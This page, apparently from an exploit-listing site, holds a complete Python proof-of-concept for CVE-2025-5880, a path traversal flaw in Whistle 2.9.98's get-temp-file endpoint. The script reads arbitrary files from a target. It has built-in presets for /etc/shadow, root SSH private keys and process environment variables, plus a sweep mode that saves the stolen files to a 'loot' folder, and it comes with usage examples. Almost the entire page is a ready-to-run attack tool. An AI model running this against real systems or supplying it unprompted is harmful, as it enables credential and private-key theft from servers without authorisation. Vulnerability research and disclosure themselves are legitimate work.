5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
# =============================================================================
#  CVE-2025-5880 — Whistle 2.9.98 Path Traversal PoC
#  Affected Component : /cgi-bin/sessions/get-temp-file
#  Vulnerability Type : Path Traversal (CWE-22)
#  Author             : Security Research - Pwnr ([email protected])
#  Disclaimer         : For authorized testing and educational purposes only.
# =============================================================================

import argparse
import json
import sys
import urllib.request
import urllib.error
from datetime import datetime

# ── ANSI colour palette ──────────────────────────────────────────────────────
R  = "\033[91m"   # red
G  = "\033[92m"   # green
Y  = "\033[93m"   # yellow
C  = "\033[96m"   # cyan
W  = "\033[97m"   # white
DIM= "\033[2m"
RST= "\033[0m"

BANNER = fr"""
{R}
  ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ███████╗
 ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝
 ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗
 ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║
 ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗███████║
  ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚══════╝
{RST}{Y}  Whistle 2.9.98 — Path Traversal via get-temp-file{RST}
{DIM}  CVE-2025-5880 | CWE-22 | /cgi-bin/sessions/get-temp-file{RST}
{DIM}  Credit - Pwnr ([email protected]){RST}
"""

# ── Default targets that are interesting to grab ─────────────────────────────
PRESETS = {
    "passwd"    : "/etc/passwd",
    "shadow"    : "/etc/shadow",
    "hosts"     : "/etc/hosts",
    "id_rsa"    : "/root/.ssh/id_rsa",
    "id_ed25519": "/root/.ssh/id_ed25519",
    "authorized": "/root/.ssh/authorized_keys",
    "env"       : "/proc/self/environ",
    "cmdline"   : "/proc/self/cmdline",
}


# ── Core exploit ─────────────────────────────────────────────────────────────
def exploit(base_url: str, file_path: str, timeout: int = 10) -> str | None:
    """
    Send a single traversal request.
    Returns the decoded file content string, or None on failure.
    """
    url = f"{base_url.rstrip('/')}/cgi-bin/sessions/get-temp-file?filename={file_path}"

    try:
        req  = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            raw = resp.read()
    except urllib.error.HTTPError as e:
        print(f"  {R}[✗] HTTP {e.code}{RST}")
        return None
    except urllib.error.URLError as e:
        print(f"  {R}[✗] Connection error: {e.reason}{RST}")
        return None

    # Parse JSON envelope {"value": "..."}
    try:
        data    = json.loads(raw)
        content = data.get("value", "")
    except json.JSONDecodeError:
        content = raw.decode(errors="replace")

    # Unescape \n sequences embedded as literal backslash-n
    content = content.replace("\\n", "\n").replace("\\t", "\t")
    return content


# ── CLI helpers ───────────────────────────────────────────────────────────────
def log_result(file_path: str, content: str | None, save_to: str | None) -> None:
    if not content:
        print(f"  {Y}[~] Empty response — file may not exist or is unreadable.{RST}\n")
        return

    lines = content.splitlines()
    print(f"\n  {G}[+] Retrieved {len(lines)} line(s) from {C}{file_path}{RST}\n")
    print(f"  {'─' * 60}")
    for ln in lines:
        print(f"  {W}{ln}{RST}")
    print(f"  {'─' * 60}\n")

    if save_to:
        with open(save_to, "w") as fh:
            fh.write(content)
        print(f"  {G}[✓] Saved to {save_to}{RST}\n")


def build_parser() -> argparse.ArgumentParser:
    p = argparse.ArgumentParser(
        description="CVE-2025-5880 — Whistle Path Traversal PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=f"""\
{Y}Examples:{RST}
  # Grab /etc/passwd
  python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd

  # Read an arbitrary file
  python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /etc/hostname

  # Sweep all presets and save each result
  python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

{R}Authorized testing only.{RST}
""",
    )
    p.add_argument("-u", "--url",      required=True, help="Base URL (e.g. http://HOST:8899)")
    p.add_argument("-f", "--file",     help="Arbitrary file path to read (e.g. /etc/passwd)")
    p.add_argument("--preset",         choices=list(PRESETS), help="Named target file")
    p.add_argument("--sweep",          action="store_true", help="Iterate through all presets")
    p.add_argument("-o", "--output",   help="Save output to this file (single-file mode)")
    p.add_argument("--save-dir",       help="Directory to save loot when --sweep is used")
    p.add_argument("--timeout",        type=int, default=10, help="Request timeout (default: 10s)")
    return p


# ── Entry point ───────────────────────────────────────────────────────────────
def main() -> None:
    print(BANNER)

    parser = build_parser()
    args   = parser.parse_args()

    base  = args.url
    stamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    print(f"  {DIM}[*] Target  : {base}{RST}")
    print(f"  {DIM}[*] Started : {stamp}{RST}\n")

    # ── Single arbitrary file ────────────────────────────────────────────────
    if args.file:
        print(f"  {C}[→] Requesting {args.file} …{RST}")
        content = exploit(base, args.file, args.timeout)
        log_result(args.file, content, args.output)

    # ── Named preset ─────────────────────────────────────────────────────────
    elif args.preset:
        path = PRESETS[args.preset]
        print(f"  {C}[→] Preset '{args.preset}' → {path}{RST}")
        content = exploit(base, path, args.timeout)
        log_result(path, content, args.output)

    # ── Sweep all presets ─────────────────────────────────────────────────────
    elif args.sweep:
        import os
        if args.save_dir:
            os.makedirs(args.save_dir, exist_ok=True)
        print(f"  {Y}[*] Sweeping {len(PRESETS)} preset target(s) …{RST}\n")
        for name, path in PRESETS.items():
            print(f"  {C}[→] {name:12s} → {path}{RST}")
            content = exploit(base, path, args.timeout)
            save_to = None
            if args.save_dir and content:
                save_to = os.path.join(args.save_dir, f"{name}.txt")
            log_result(path, content, save_to)

    else:
        parser.print_help()
        sys.exit(0)

    print(f"  {DIM}[*] Done.{RST}\n")


if __name__ == "__main__":
    main()